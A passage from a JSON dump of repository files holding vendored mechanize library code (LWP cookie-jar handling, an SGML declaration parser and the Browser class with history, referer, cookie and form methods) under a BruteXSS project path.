NOT a bug\n                response = self.parent.error(\n                    \"http\", request, response,\n                    \"refresh\", msg, hdrs)\n            else:\n                debug(\"Refresh header ignored: %r\" % refresh)\n\n        return response\n\n    https_response = http_response\n"
  },
  {
    "path": "BruteXSS/mechanize/_lwpcookiejar.py",
    "content": "\"\"\"Load / save to libwww-perl (LWP) format files.\n\nActually, the format is slightly extended from that used by LWP's\n(libwww-perl's) HTTP::Cookies, to avoid losing some RFC 2965 information\nnot recorded by LWP.\n\nIt uses the version string \"2.0\", though really there isn't an LWP Cookies\n2.0 format.  This indicates that there is extra information in here\n(domain_dot and port_spec) while still being compatible with libwww-perl,\nI hope.\n\nCopyright 2002-2006 John J Lee <jjl@pobox.com>\nCopyright 1997-1999 Gisle Aas (original libwww-perl code)\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport time, re, logging\n\nfrom _clientcookie import reraise_unmasked_exceptions, FileCookieJar, Cookie, \\\n     MISSING_FILENAME_TEXT, LoadError\nfrom _headersutil import join_header_words, split_header_words\nfrom _util import iso2time, time2isoz\n\ndebug = logging.getLogger(\"mechanize\").debug\n\n\ndef lwp_cookie_str(cookie):\n    \"\"\"Return string representation of Cookie in an the LWP cookie file format.\n\n    Actually, the format is extended a bit -- see module docstring.\n\n    \"\"\"\n    h = [(cookie.name, cookie.value),\n         (\"path\", cookie.path),\n         (\"domain\", cookie.domain)]\n    if cookie.port is not None: h.append((\"port\", cookie.port))\n    if cookie.path_specified: h.append((\"path_spec\", None))\n    if cookie.port_specified: h.append((\"port_spec\", None))\n    if cookie.domain_initial_dot: h.append((\"domain_dot\", None))\n    if cookie.secure: h.append((\"secure\", None))\n    if cookie.expires: h.append((\"expires\",\n                               time2isoz(float(cookie.expires))))\n    if cookie.discard: h.append((\"discard\", None))\n    if cookie.comment: h.append((\"comment\", cookie.comment))\n    if cookie.comment_url: h.append((\"commenturl\", cookie.comment_url))\n    if cookie.rfc2109: h.append((\"rfc2109\", None))\n\n    keys = cookie.nonstandard_attr_keys()\n    keys.sort()\n    for k in keys:\n        h.append((k, str(cookie.get_nonstandard_attr(k))))\n\n    h.append((\"version\", str(cookie.version)))\n\n    return join_header_words([h])\n\nclass LWPCookieJar(FileCookieJar):\n    \"\"\"\n    The LWPCookieJar saves a sequence of\"Set-Cookie3\" lines.\n    \"Set-Cookie3\" is the format used by the libwww-perl libary, not known\n    to be compatible with any browser, but which is easy to read and\n    doesn't lose information about RFC 2965 cookies.\n\n    Additional methods\n\n    as_lwp_str(ignore_discard=True, ignore_expired=True)\n\n    \"\"\"\n\n    magic_re = r\"^\\#LWP-Cookies-(\\d+\\.\\d+)\"\n\n    def as_lwp_str(self, ignore_discard=True, ignore_expires=True):\n        \"\"\"Return cookies as a string of \"\\n\"-separated \"Set-Cookie3\" headers.\n\n        ignore_discard and ignore_expires: see docstring for FileCookieJar.save\n\n        \"\"\"\n        now = time.time()\n        r = []\n        for cookie in self:\n            if not ignore_discard and cookie.discard:\n                debug(\"   Not saving %s: marked for discard\", cookie.name)\n                continue\n            if not ignore_expires and cookie.is_expired(now):\n                debug(\"   Not saving %s: expired\", cookie.name)\n                continue\n            r.append(\"Set-Cookie3: %s\" % lwp_cookie_str(cookie))\n        return \"\\n\".join(r+[\"\"])\n\n    def save(self, filename=None, ignore_discard=False, ignore_expires=False):\n        if filename is None:\n            if self.filename is not None: filename = self.filename\n            else: raise ValueError(MISSING_FILENAME_TEXT)\n\n        f = open(filename, \"w\")\n        try:\n            debug(\"Saving LWP cookies file\")\n            # There really isn't an LWP Cookies 2.0 format, but this indicates\n            # that there is extra information in here (domain_dot and\n            # port_spec) while still being compatible with libwww-perl, I hope.\n            f.write(\"#LWP-Cookies-2.0\\n\")\n            f.write(self.as_lwp_str(ignore_discard, ignore_expires))\n        finally:\n            f.close()\n\n    def _really_load(self, f, filename, ignore_discard, ignore_expires):\n        magic = f.readline()\n        if not re.search(self.magic_re, magic):\n            msg = \"%s does not seem to contain cookies\" % filename\n            raise LoadError(msg)\n\n        now = time.time()\n\n        header = \"Set-Cookie3:\"\n        boolean_attrs = (\"port_spec\", \"path_spec\", \"domain_dot\",\n                         \"secure\", \"discard\", \"rfc2109\")\n        value_attrs = (\"version\",\n                       \"port\", \"path\", \"domain\",\n                       \"expires\",\n                       \"comment\", \"commenturl\")\n\n        try:\n            while 1:\n                line = f.readline()\n                if line == \"\": break\n                if not line.startswith(header):\n                    continue\n                line = line[len(header):].strip()\n\n                for data in split_header_words([line]):\n                    name, value = data[0]\n                    standard = {}\n                    rest = {}\n                    for k in boolean_attrs:\n                        standard[k] = False\n                    for k, v in data[1:]:\n                        if k is not None:\n                            lc = k.lower()\n                        else:\n                            lc = None\n                        # don't lose case distinction for unknown fields\n                        if (lc in value_attrs) or (lc in boolean_attrs):\n                            k = lc\n                        if k in boolean_attrs:\n                            if v is None: v = True\n                            standard[k] = v\n                        elif k in value_attrs:\n                            standard[k] = v\n                        else:\n                            rest[k] = v\n\n                    h = standard.get\n                    expires = h(\"expires\")\n                    discard = h(\"discard\")\n                    if expires is not None:\n                        expires = iso2time(expires)\n                    if expires is None:\n                        discard = True\n                    domain = h(\"domain\")\n                    domain_specified = domain.startswith(\".\")\n                    c = Cookie(h(\"version\"), name, value,\n                               h(\"port\"), h(\"port_spec\"),\n                               domain, domain_specified, h(\"domain_dot\"),\n                               h(\"path\"), h(\"path_spec\"),\n                               h(\"secure\"),\n                               expires,\n                               discard,\n                               h(\"comment\"),\n                               h(\"commenturl\"),\n                               rest,\n                               h(\"rfc2109\"),\n                               ) \n                    if not ignore_discard and c.discard:\n                        continue\n                    if not ignore_expires and c.is_expired(now):\n                        continue\n                    self.set_cookie(c)\n        except:\n            reraise_unmasked_exceptions((IOError,))\n            raise LoadError(\"invalid Set-Cookie3 format file %s\" % filename)\n\n"
  },
  {
    "path": "BruteXSS/mechanize/_markupbase.py",
    "content": "# Taken from Python 2.6.4 for use by _sgmllib.py\n\"\"\"Shared support for scanning document type declarations in HTML and XHTML.\n\nThis module is used as a foundation for the HTMLParser and sgmllib\nmodules (indirectly, for htmllib as well).  It has no documented\npublic API and should not be used directly.\n\n\"\"\"\n\nimport re\n\n_declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]*\\s*').match\n_declstringlit_match = re.compile(r'(\\'[^\\']*\\'|\"[^\"]*\")\\s*').match\n_commentclose = re.compile(r'--\\s*>')\n_markedsectionclose = re.compile(r']\\s*]\\s*>')\n\n# An analysis of the MS-Word extensions is available at\n# http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf\n\n_msmarkedsectionclose = re.compile(r']\\s*>')\n\ndel re\n\n\nclass ParserBase:\n    \"\"\"Parser base class which provides some common support methods used\n    by the SGML/HTML and XHTML parsers.\"\"\"\n\n    def __init__(self):\n        if self.__class__ is ParserBase:\n            raise RuntimeError(\n                \"markupbase.ParserBase must be subclassed\")\n\n    def error(self, message):\n        raise NotImplementedError(\n            \"subclasses of ParserBase must override error()\")\n\n    def reset(self):\n        self.lineno = 1\n        self.offset = 0\n\n    def getpos(self):\n        \"\"\"Return current line number and offset.\"\"\"\n        return self.lineno, self.offset\n\n    # Internal -- update line number and offset.  This should be\n    # called for each piece of data exactly once, in order -- in other\n    # words the concatenation of all the input strings to this\n    # function should be exactly the entire input.\n    def updatepos(self, i, j):\n        if i >= j:\n            return j\n        rawdata = self.rawdata\n        nlines = rawdata.count(\"\\n\", i, j)\n        if nlines:\n            self.lineno = self.lineno + nlines\n            pos = rawdata.rindex(\"\\n\", i, j) # Should not fail\n            self.offset = j-(pos+1)\n        else:\n            self.offset = self.offset + j-i\n        return j\n\n    _decl_otherchars = ''\n\n    # Internal -- parse declaration (for use by subclasses).\n    def parse_declaration(self, i):\n        # This is some sort of declaration; in \"HTML as\n        # deployed,\" this should only be the document type\n        # declaration (\"<!DOCTYPE html...>\").\n        # ISO 8879:1986, however, has more complex\n        # declaration syntax for elements in <!...>, including:\n        # --comment--\n        # [marked section]\n        # name in the following list: ENTITY, DOCTYPE, ELEMENT,\n        # ATTLIST, NOTATION, SHORTREF, USEMAP,\n        # LINKTYPE, LINK, IDLINK, USELINK, SYSTEM\n        rawdata = self.rawdata\n        j = i + 2\n        assert rawdata[i:j] == \"<!\", \"unexpected call to parse_declaration\"\n        if rawdata[j:j+1] == \">\":\n            # the empty comment <!>\n            return j + 1\n        if rawdata[j:j+1] in (\"-\", \"\"):\n            # Start of comment followed by buffer boundary,\n            # or just a buffer boundary.\n            return -1\n        # A simple, practical version could look like: ((name|stringlit) S*) + '>'\n        n = len(rawdata)\n        if rawdata[j:j+2] == '--': #comment\n            # Locate --.*-- as the body of the comment\n            return self.parse_comment(i)\n        elif rawdata[j] == '[': #marked section\n            # Locate [statusWord [...arbitrary SGML...]] as the body of the marked section\n            # Where statusWord is one of TEMP, CDATA, IGNORE, INCLUDE, RCDATA\n            # Note that this is extended by Microsoft Office \"Save as Web\" function\n            # to include [if...] and [endif].\n            return self.parse_marked_section(i)\n        else: #all other declaration elements\n            decltype, j = self._scan_name(j, i)\n        if j < 0:\n            return j\n        if decltype == \"doctype\":\n            self._decl_otherchars = ''\n        while j < n:\n            c = rawdata[j]\n            if c == \">\":\n                # end of declaration syntax\n                data = rawdata[i+2:j]\n                if decltype == \"doctype\":\n                    self.handle_decl(data)\n                else:\n                    self.unknown_decl(data)\n                return j + 1\n            if c in \"\\\"'\":\n                m = _declstringlit_match(rawdata, j)\n                if not m:\n                    return -1 # incomplete\n                j = m.end()\n            elif c in \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\":\n                name, j = self._scan_name(j, i)\n            elif c in self._decl_otherchars:\n                j = j + 1\n            elif c == \"[\":\n                # this could be handled in a separate doctype parser\n                if decltype == \"doctype\":\n                    j = self._parse_doctype_subset(j + 1, i)\n                elif decltype in (\"attlist\", \"linktype\", \"link\", \"element\"):\n                    # must tolerate []'d groups in a content model in an element declaration\n                    # also in data attribute specifications of attlist declaration\n                    # also link type declaration subsets in linktype declarations\n                    # also link attribute specification lists in link declarations\n                    self.error(\"unsupported '[' char in %s declaration\" % decltype)\n                else:\n                    self.error(\"unexpected '[' char in declaration\")\n            else:\n                self.error(\n                    \"unexpected %r char in declaration\" % rawdata[j])\n            if j < 0:\n                return j\n        return -1 # incomplete\n\n    # Internal -- parse a marked section\n    # Override this to handle MS-word extension syntax <![if word]>content<![endif]>\n    def parse_marked_section(self, i, report=1):\n        rawdata= self.rawdata\n        assert rawdata[i:i+3] == '<![', \"unexpected call to parse_marked_section()\"\n        sectName, j = self._scan_name( i+3, i )\n        if j < 0:\n            return j\n        if sectName in (\"temp\", \"cdata\", \"ignore\", \"include\", \"rcdata\"):\n            # look for standard ]]> ending\n            match= _markedsectionclose.search(rawdata, i+3)\n        elif sectName in (\"if\", \"else\", \"endif\"):\n            # look for MS Office ]> ending\n            match= _msmarkedsectionclose.search(rawdata, i+3)\n        else:\n            self.error('unknown status keyword %r in marked section' % rawdata[i+3:j])\n        if not match:\n            return -1\n        if report:\n            j = match.start(0)\n            self.unknown_decl(rawdata[i+3: j])\n        return match.end(0)\n\n    # Internal -- parse comment, return length or -1 if not terminated\n    def parse_comment(self, i, report=1):\n        rawdata = self.rawdata\n        if rawdata[i:i+4] != '<!--':\n            self.error('unexpected call to parse_comment()')\n        match = _commentclose.search(rawdata, i+4)\n        if not match:\n            return -1\n        if report:\n            j = match.start(0)\n            self.handle_comment(rawdata[i+4: j])\n        return match.end(0)\n\n    # Internal -- scan past the internal subset in a <!DOCTYPE declaration,\n    # returning the index just past any whitespace following the trailing ']'.\n    def _parse_doctype_subset(self, i, declstartpos):\n        rawdata = self.rawdata\n        n = len(rawdata)\n        j = i\n        while j < n:\n            c = rawdata[j]\n            if c == \"<\":\n                s = rawdata[j:j+2]\n                if s == \"<\":\n                    # end of buffer; incomplete\n                    return -1\n                if s != \"<!\":\n                    self.updatepos(declstartpos, j + 1)\n                    self.error(\"unexpected char in internal subset (in %r)\" % s)\n                if (j + 2) == n:\n                    # end of buffer; incomplete\n                    return -1\n                if (j + 4) > n:\n                    # end of buffer; incomplete\n                    return -1\n                if rawdata[j:j+4] == \"<!--\":\n                    j = self.parse_comment(j, report=0)\n                    if j < 0:\n                        return j\n                    continue\n                name, j = self._scan_name(j + 2, declstartpos)\n                if j == -1:\n                    return -1\n                if name not in (\"attlist\", \"element\", \"entity\", \"notation\"):\n                    self.updatepos(declstartpos, j + 2)\n                    self.error(\n                        \"unknown declaration %r in internal subset\" % name)\n                # handle the individual names\n                meth = getattr(self, \"_parse_doctype_\" + name)\n                j = meth(j, declstartpos)\n                if j < 0:\n                    return j\n            elif c == \"%\":\n                # parameter entity reference\n                if (j + 1) == n:\n                    # end of buffer; incomplete\n                    return -1\n                s, j = self._scan_name(j + 1, declstartpos)\n                if j < 0:\n                    return j\n                if rawdata[j] == \";\":\n                    j = j + 1\n            elif c == \"]\":\n                j = j + 1\n                while j < n and rawdata[j].isspace():\n                    j = j + 1\n                if j < n:\n                    if rawdata[j] == \">\":\n                        return j\n                    self.updatepos(declstartpos, j)\n                    self.error(\"unexpected char after internal subset\")\n                else:\n                    return -1\n            elif c.isspace():\n                j = j + 1\n            else:\n                self.updatepos(declstartpos, j)\n                self.error(\"unexpected char %r in internal subset\" % c)\n        # end of buffer reached\n        return -1\n\n    # Internal -- scan past <!ELEMENT declarations\n    def _parse_doctype_element(self, i, declstartpos):\n        name, j = self._scan_name(i, declstartpos)\n        if j == -1:\n            return -1\n        # style content model; just skip until '>'\n        rawdata = self.rawdata\n        if '>' in rawdata[j:]:\n            return rawdata.find(\">\", j) + 1\n        return -1\n\n    # Internal -- scan past <!ATTLIST declarations\n    def _parse_doctype_attlist(self, i, declstartpos):\n        rawdata = self.rawdata\n        name, j = self._scan_name(i, declstartpos)\n        c = rawdata[j:j+1]\n        if c == \"\":\n            return -1\n        if c == \">\":\n            return j + 1\n        while 1:\n            # scan a series of attribute descriptions; simplified:\n            #   name type [value] [#constraint]\n            name, j = self._scan_name(j, declstartpos)\n            if j < 0:\n                return j\n            c = rawdata[j:j+1]\n            if c == \"\":\n                return -1\n            if c == \"(\":\n                # an enumerated type; look for ')'\n                if \")\" in rawdata[j:]:\n                    j = rawdata.find(\")\", j) + 1\n                else:\n                    return -1\n                while rawdata[j:j+1].isspace():\n                    j = j + 1\n                if not rawdata[j:]:\n                    # end of buffer, incomplete\n                    return -1\n            else:\n                name, j = self._scan_name(j, declstartpos)\n            c = rawdata[j:j+1]\n            if not c:\n                return -1\n            if c in \"'\\\"\":\n                m = _declstringlit_match(rawdata, j)\n                if m:\n                    j = m.end()\n                else:\n                    return -1\n                c = rawdata[j:j+1]\n                if not c:\n                    return -1\n            if c == \"#\":\n                if rawdata[j:] == \"#\":\n                    # end of buffer\n                    return -1\n                name, j = self._scan_name(j + 1, declstartpos)\n                if j < 0:\n                    return j\n                c = rawdata[j:j+1]\n                if not c:\n                    return -1\n            if c == '>':\n                # all done\n                return j + 1\n\n    # Internal -- scan past <!NOTATION declarations\n    def _parse_doctype_notation(self, i, declstartpos):\n        name, j = self._scan_name(i, declstartpos)\n        if j < 0:\n            return j\n        rawdata = self.rawdata\n        while 1:\n            c = rawdata[j:j+1]\n            if not c:\n                # end of buffer; incomplete\n                return -1\n            if c == '>':\n                return j + 1\n            if c in \"'\\\"\":\n                m = _declstringlit_match(rawdata, j)\n                if not m:\n                    return -1\n                j = m.end()\n            else:\n                name, j = self._scan_name(j, declstartpos)\n                if j < 0:\n                    return j\n\n    # Internal -- scan past <!ENTITY declarations\n    def _parse_doctype_entity(self, i, declstartpos):\n        rawdata = self.rawdata\n        if rawdata[i:i+1] == \"%\":\n            j = i + 1\n            while 1:\n                c = rawdata[j:j+1]\n                if not c:\n                    return -1\n                if c.isspace():\n                    j = j + 1\n                else:\n                    break\n        else:\n            j = i\n        name, j = self._scan_name(j, declstartpos)\n        if j < 0:\n            return j\n        while 1:\n            c = self.rawdata[j:j+1]\n            if not c:\n                return -1\n            if c in \"'\\\"\":\n                m = _declstringlit_match(rawdata, j)\n                if m:\n                    j = m.end()\n                else:\n                    return -1    # incomplete\n            elif c == \">\":\n                return j + 1\n            else:\n                name, j = self._scan_name(j, declstartpos)\n                if j < 0:\n                    return j\n\n    # Internal -- scan a name token and the new position and the token, or\n    # return -1 if we've reached the end of the buffer.\n    def _scan_name(self, i, declstartpos):\n        rawdata = self.rawdata\n        n = len(rawdata)\n        if i == n:\n            return None, -1\n        m = _declname_match(rawdata, i)\n        if m:\n            s = m.group()\n            name = s.strip()\n            if (i + len(s)) == n:\n                return None, -1  # end of buffer\n            return name.lower(), m.end()\n        else:\n            self.updatepos(declstartpos, i)\n            self.error(\"expected name token at %r\"\n                       % rawdata[declstartpos:declstartpos+20])\n\n    # To be overridden -- handlers for unknown objects\n    def unknown_decl(self, data):\n        pass\n"
  },
  {
    "path": "BruteXSS/mechanize/_mechanize.py",
    "content": "\"\"\"Stateful programmatic WWW navigation, after Perl's WWW::Mechanize.\n\nCopyright 2003-2006 John J. Lee <jjl@pobox.com>\nCopyright 2003 Andy Lester (original Perl code)\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt\nincluded with the distribution).\n\n\"\"\"\n\nimport copy, re, os, urllib, urllib2\n\nfrom _html import DefaultFactory\nimport _response\nimport _request\nimport _rfc3986\nimport _sockettimeout\nimport _urllib2_fork\nfrom _useragent import UserAgentBase\n\nclass BrowserStateError(Exception): pass\nclass LinkNotFoundError(Exception): pass\nclass FormNotFoundError(Exception): pass\n\n\ndef sanepathname2url(path):\n    urlpath = urllib.pathname2url(path)\n    if os.name == \"nt\" and urlpath.startswith(\"///\"):\n        urlpath = urlpath[2:]\n    # XXX don't ask me about the mac...\n    return urlpath\n\n\nclass History:\n    \"\"\"\n\n    Though this will become public, the implied interface is not yet stable.\n\n    \"\"\"\n    def __init__(self):\n        self._history = []  # LIFO\n    def add(self, request, response):\n        self._history.append((request, response))\n    def back(self, n, _response):\n        response = _response  # XXX move Browser._response into this class?\n        while n > 0 or response is None:\n            try:\n                request, response = self._history.pop()\n            except IndexError:\n                raise BrowserStateError(\"already at start of history\")\n            n -= 1\n        return request, response\n    def clear(self):\n        del self._history[:]\n    def close(self):\n        for request, response in self._history:\n            if response is not None:\n                response.close()\n        del self._history[:]\n\n\nclass HTTPRefererProcessor(_urllib2_fork.BaseHandler):\n    def http_request(self, request):\n        # See RFC 2616 14.36.  The only times we know the source of the\n        # request URI has a URI associated with it are redirect, and\n        # Browser.click() / Browser.submit() / Browser.follow_link().\n        # Otherwise, it's the user's job to add any Referer header before\n        # .open()ing.\n        if hasattr(request, \"redirect_dict\"):\n            request = self.parent._add_referer_header(\n                request, origin_request=False)\n        return request\n\n    https_request = http_request\n\n\nclass Browser(UserAgentBase):\n    \"\"\"Browser-like class with support for history, forms and links.\n\n    BrowserStateError is raised whenever the browser is in the wrong state to\n    complete the requested operation - e.g., when .back() is called when the\n    browser history is empty, or when .follow_link() is called when the current\n    response does not contain HTML data.\n\n    Public attributes:\n\n    request: current request (mechanize.Request)\n    form: currently selected form (see .select_form())\n\n    \"\"\"\n\n    handler_classes = copy.copy(UserAgentBase.handler_classes)\n    handler_classes[\"_referer\"] = HTTPRefererProcessor\n    default_features = copy.copy(UserAgentBase.default_features)\n    default_features.append(\"_referer\")\n\n    def __init__(self,\n                 factory=None,\n                 history=None,\n                 request_class=None,\n                 ):\n        \"\"\"\n\n        Only named arguments should be passed to this constructor.\n\n        factory: object implementing the mechanize.Factory interface.\n        history: object implementing the mechanize.History interface.  Note\n         this interface is still experimental and may change in future.\n        request_class: Request class to use.  Defaults to mechanize.Request\n\n        The Factory and History objects passed in are 'owned' by the Browser,\n        so they should not be shared across Browsers.  In particular,\n        factory.set_response() should not be called except by the owning\n        Browser itself.\n\n        Note that the supplied factory's request_class is overridden by this\n        constructor, to ensure only one Request class is used.\n\n        \"\"\"\n        self._handle_referer = True\n\n        if history is None:\n            history = History()\n        self._history = history\n\n        if request_class is None:\n            request_class = _request.Request\n\n        if factory is None:\n            factory = DefaultFactory()\n        factory.set_request_class(request_class)\n        self._factory = factory\n        self.request_class = request_class\n\n        self.request = None\n        self._set_response(None, False)\n\n        # do this last to avoid __getattr__ problems\n        UserAgentBase.__init__(self)\n\n    def close(self):\n        UserAgentBase.close(self)\n        if self._response is not None:\n            self._response.close()    \n        if self._history is not None:\n            self._history.close()\n            self._history = None\n\n        # make use after .close easy to spot\n        self.form = None\n        self.request = self._response = None\n        self.request = self.response = self.set_response = None\n        self.geturl =  self.reload = self.back = None\n        self.clear_history = self.set_cookie = self.links = self.forms = None\n        self.viewing_html = self.encoding = self.title = None\n        self.select_form = self.click = self.submit = self.click_link = None\n        self.follow_link = self.find_link = None\n\n    def set_handle_referer(self, handle):\n        \"\"\"Set whether to add Referer header to each request.\"\"\"\n        self._set_handler(\"_referer\", handle)\n        self._handle_referer = bool(handle)\n\n    def _add_referer_header(self, request, origin_request=True):\n        if self.request is None:\n            return request\n        scheme = request.get_type()\n        original_scheme = self.request.get_type()\n        if scheme not in [\"http\", \"https\"]:\n            return request\n        if not origin_request and not self.request.has_header(\"Referer\"):\n            return request\n\n        if (self._handle_referer and\n            original_scheme in [\"http\", \"https\"] and\n            not (original_scheme == \"https\" and scheme != \"https\")):\n            # strip URL fragment (RFC 2616 14.36)\n            parts = _rfc3986.urlsplit(self.request.get_full_url())\n            parts = parts[:-1]+(None,)\n            referer = _rfc3986.urlunsplit(parts)\n            request.add_unredirected_header(\"Referer\", referer)\n        return request\n\n    def open_novisit(self, url, data=None,\n                     timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        \"\"\"Open a URL without visiting it.\n\n        Browser state (including request, response, history, forms and links)\n        is left unchanged by calling this function.\n\n        The interface is the same as for .open().\n\n        This is useful for things like fetching images.\n\n        See also .retrieve().\n\n        \"\"\"\n        return self._mech_open(url, data, visit=False, timeout=timeout)\n\n    def open(self, url, data=None,\n             timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        return self._mech_open(url, data, timeout=timeout)\n\n    def _mech_open(self, url, data=None, update_history=True, visit=None,\n                   timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        try:\n            url.get_full_url\n        except AttributeError:\n            # string URL -- convert to absolute URL if required\n            scheme, authority = _rfc3986.urlsplit(url)[:2]\n            if scheme is None:\n                # relative URL\n                if self._response is None:\n                    raise BrowserStateError(\n                        \"can't fetch relative reference: \"\n                        \"not viewing any document\")\n                url = _rfc3986.urljoin(self._response.geturl(), url)\n\n        request = self._request(url, data, visit, timeout)\n        visit = request.visit\n        if visit is None:\n            visit = True\n\n        if visit:\n            self._visit_request(request, update_history)\n\n        success = True\n        try:\n            response = UserAgentBase.open(self, request, data)\n        except urllib2.HTTPError, error:\n            success = False\n            if error.fp is None:  # not a response\n                raise\n            response = error\n##         except (IOError, socket.error, OSError), error:\n##             # Yes, urllib2 really does raise all these :-((\n##             # See test_urllib2.py for examples of socket.gaierror and OSError,\n##             # plus note that FTPHandler raises IOError.\n##             # XXX I don't seem to have an example of exactly socket.error being\n##             #  raised, only socket.gaierror...\n##             # I don't want to start fixing these here, though, since this is a\n##             # subclass of OpenerDirector, and it would break old code.  Even in\n##             # Python core, a fix would need some backwards-compat. hack to be\n##             # acceptable.\n##             raise\n\n        if visit:\n            self._set_response(response, False)\n            response = copy.copy(self._response)\n        elif response is not None:\n            response = _response.upgrade_response(response)\n\n        if not success:\n            raise response\n        return response\n\n    def __str__(self):\n        text = []\n        text.append(\"<%s \" % self.__class__.__name__)\n        if self._response:\n            text.append(\"visiting %s\" % self._response.geturl())\n        else:\n            text.append(\"(not visiting a URL)\")\n        if self.form:\n            text.append(\"\\n selected form:\\n %s\\n\" % str(self.form))\n        text.append(\">\")\n        return \"\".join(text)\n\n    def response(self):\n        \"\"\"Return a copy of the current response.\n\n        The returned object has the same interface as the object returned by\n        .open() (or mechanize.urlopen()).\n\n        \"\"\"\n        return copy.copy(self._response)\n\n    def open_local_file(self, filename):\n        path = sanepathname2url(os.path.abspath(filename))\n        url = 'file://'+path\n        return self.open(url)\n\n    def set_response(self, response):\n        \"\"\"Replace current response with (a copy of) response.\n\n        response may be None.\n\n        This is intended mostly for HTML-preprocessing.\n        \"\"\"\n        self._set_response(response, True)\n\n    def _set_response(self, response, close_current):\n        # sanity check, necessary but far from sufficient\n        if not (response is None or\n                (hasattr(response, \"info\") and hasattr(response, \"geturl\") and\n                 hasattr(response, \"read\")\n                 )\n                ):\n            raise ValueError(\"not a response object\")\n\n        self.form = None\n        if response is not None:\n            response = _response.upgrade_response(response)\n        if close_current and self._response is not None:\n            self._response.close()\n        self._response = response\n        self._factory.set_response(response)\n\n    def visit_response(self, response, request=None):\n        \"\"\"Visit the response, as if it had been .open()ed.\n\n        Unlike .set_response(), this updates history rather than replacing the\n        current response.\n        \"\"\"\n        if request is None:\n            request = _request.Request(response.geturl())\n        self._visit_request(request, True)\n        self._set_response(response, False)\n\n    def _visit_request(self, request, update_history):\n        if self._response is not None:\n            self._response.close()\n        if self.request is not None and update_history:\n            self._history.add(self.request, self._response)\n        self._response = None\n        # we want self.request to be assigned even if UserAgentBase.open\n        # fails\n        self.request = request\n\n    def geturl(self):\n        \"\"\"Get URL of current document.\"\"\"\n        if self._response is None:\n            raise BrowserStateError(\"not viewing any document\")\n        return self._response.geturl()\n\n    def reload(self):\n        \"\"\"Reload current document, and return response object.\"\"\"\n        if self.request is None:\n            raise BrowserStateError(\"no URL has yet been .open()ed\")\n        if self._response is not None:\n            self._response.close()\n        return self._mech_open(self.request, update_history=False)\n\n    def back(self, n=1):\n        \"\"\"Go back n steps in history, and return response object.\n\n        n: go back this number of steps (default 1 step)\n\n        \"\"\"\n        if self._response is not None:\n            self._response.close()\n        self.request, response = self._history.back(n, self._response)\n        self.set_response(response)\n        if not response.read_complete:\n            return self.reload()\n        return copy.copy(response)\n\n    def clear_history(self):\n        self._history.clear()\n\n    def set_cookie(self, cookie_string):\n        \"\"\"Request to set a cookie.\n\n        Note that it is NOT necessary to call this method under ordinary\n        circumstances: cookie handling is normally entirely automatic.  The\n        intended use case is rather to simulate the setting of a cookie by\n        client script in a web page (e.g. JavaScript).  In that case, use of\n        this method is necessary because mechanize currently does not support\n        JavaScript, VBScript, etc.\n\n        The cookie is added in the same way as if it had arrived with the\n        current response, as a result of the current request.  This means that,\n        for example, if it is not appropriate to set the cookie based on the\n        current request, no cookie will be set.\n\n        The cookie will be returned automatically with subsequent responses\n        made by the Browser instance whenever that's appropriate.\n\n        cookie_string should be a valid value of the Set-Cookie header.\n\n        For example:\n\n        browser.set_cookie(\n            \"sid=abcdef; expires=Wednesday, 09-Nov-06 23:12:40 GMT\")\n\n        Currently, this method does not allow for adding RFC 2986 cookies.\n        This limitation will be lifted if anybody requests it.\n\n        \"\"\"\n        if self._response is None:\n            raise BrowserStateError(\"not viewing any document\")\n        if self.request.get_type() not in [\"http\", \"https\"]:\n            raise BrowserStateError(\"can't set cookie for non-HTTP/HTTPS \"\n                                    \"transactions\")\n        cookiejar = self._ua_handlers[\"_cookies\"].cookiejar\n        response = self.response()  # copy\n        headers = response.info()\n        headers[\"Set-cookie\"] = cookie_string\n        cookiejar.extract_cookies(response, self.request)\n\n    def links(self, **kwds):\n        \"\"\"Return iterable over links (mechanize.Link objects).\"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        links = self._factory.links()\n        if kwds:\n            return self._filter_links(links, **kwds)\n        else:\n            return links\n\n    def forms(self):\n        \"\"\"Return iterable over forms.\n\n        The returned form objects implement the mechanize.HTMLForm interface.\n\n        \"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        return self._factory.forms()\n\n    def global_form(self):\n        \"\"\"Return the global form object, or None if the factory implementation\n        did not supply one.\n\n        The \"global\" form object contains all controls that are not descendants\n        of any FORM element.\n\n        The returned form object implements the mechanize.HTMLForm interface.\n\n        This is a separate method since the global form is not regarded as part\n        of the sequence of forms in the document -- mostly for\n        backwards-compatibility.\n\n        \"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        return self._factory.global_form\n\n    def viewing_html(self):\n        \"\"\"Return whether the current response contains HTML data.\"\"\"\n        if self._response is None:\n            raise BrowserStateError(\"not viewing any document\")\n        return self._factory.is_html\n\n    def encoding(self):\n        if self._response is None:\n            raise BrowserStateError(\"not viewing any document\")\n        return self._factory.encoding\n\n    def title(self):\n        r\"\"\"Return title, or None if there is no title element in the document.\n\n        Treatment of any tag children of attempts to follow Firefox and IE\n        (currently, tags are preserved).\n\n        \"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        return self._factory.title\n\n    def select_form(self, name=None, predicate=None, nr=None):\n        \"\"\"Select an HTML form for input.\n\n        This is a bit like giving a form the \"input focus\" in a browser.\n\n        If a form is selected, the Browser object supports the HTMLForm\n        interface, so you can call methods like .set_value(), .set(), and\n        .click().\n\n        Another way to select a form is to assign to the .form attribute.  The\n        form assigned should be one of the objects returned by the .forms()\n        method.\n\n        At least one of the name, predicate and nr arguments must be supplied.\n        If no matching form is found, mechanize.FormNotFoundError is raised.\n\n        If name is specified, then the form must have the indicated name.\n\n        If predicate is specified, then the form must match that function.  The\n        predicate function is passed the HTMLForm as its single argument, and\n        should return a boolean value indicating whether the form matched.\n\n        nr, if supplied, is the sequence number of the form (where 0 is the\n        